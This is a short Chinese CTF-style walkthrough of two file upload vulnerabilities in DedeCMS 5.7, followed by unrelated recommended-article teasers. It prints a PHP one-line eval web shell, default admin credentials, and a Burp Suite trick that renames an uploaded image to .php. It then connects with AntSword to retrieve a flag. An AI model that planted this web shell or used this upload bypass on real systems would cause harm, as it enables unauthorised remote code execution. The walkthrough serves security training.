DedeCms5.7 文件上传漏洞

1.打开链接确定服务是否开启:
在这里插入图片描述

2.登录后台

http://ip/dede/

账号密码为:admin\admin123
在这里插入图片描述

在这里插入图片描述

漏洞1

3.选择模块下的文件管理器里的上传文件功能,上传一句话木马hack.php文件。

<?php @eval($_POST[‘cmd’]);?>
在这里插入图片描述

在这里插入图片描述

4.访问

http://ip/hack.php

用post传参尝试可用性

在这里插入图片描述

5.使用蚁剑进行连接，再寻找到flag
在这里插入图片描述
在这里插入图片描述

flag{Mr-Jia-is-the-most-handsome-man}

漏洞2

在核心—上传新文件中添加含有一句话木马的图片

在这里插入图片描述

上传的同时使用BP进行抓包，修改后缀为.php，成功上传
在这里插入图片描述

打开上传的图片马
在这里插入图片描述

cmd调用一句话木马

在这里插入图片描述

蚁剑成功连接

在这里插入图片描述

找到flag

在这里插入图片描述

# 网络安全
Logo
天工造物局

北京人形旗下天工造物具身智能开源社区，聚焦具身天工与慧思开物两大平台

更多推荐

树莓派Pico+MicroPython+MQTT+EMQX物联网数据上报实战

在物联网设备数据上报场景中，轻量级通信协议和高效开发语言至关重要。MQTT基于发布/订阅模型，具有QoS分级、心跳保活和遗嘱消息等机制，特别适合网络不稳定的嵌入式环境；MicroPython让开发者用接近Python的语法快速编写固件，降低嵌入式开发门槛；EMQX作为高性能开源Broker，提供可视化Dashboard和规则引擎，简化设备接入与数据处理。JSON凭借良好的可读性和跨语言解析特性，成

avatar 天工造物局

SmartTube 安装与使用：在 Android 电视上无广告播放的完整设置

SmartTube 是一款面向 Android 电视和电视盒的免费开源播放器，主打无广告播放 YouTube 等公开视频内容。它只跑在电视和盒子上，界面按遥控器设计，适合想把客厅大屏变成一台干净播放器的用户。## 先说清楚它是什么SmartTube 是开源免费的 Android TV 播放器，由一位开发者独立维护，没有公司背景。和官方 YouTube 电视版相比，它没有广告位，界面里不插横

avatar 天工造物局

Atmosphere 定制固件上手：从源码构建到上机启动的 5 个关键点

给 Switch 装完一次系统更新后，你可能发现老游戏开始闪退，或者你一直想玩金手指、跑 homebrew，又不想动真机 eMMC 里的存档。Atmosphere（Atmosphère）就是做这件事的 Switch 定制固件：它逐层替换系统组件，让你可以在 SD 卡上运行虚拟系统、注入自定义系统模块、管理金手指。这篇文章带你把它从源码构建成可运行的产物，并解释几个真正影响日常使用的配置。##

avatar 天工造物局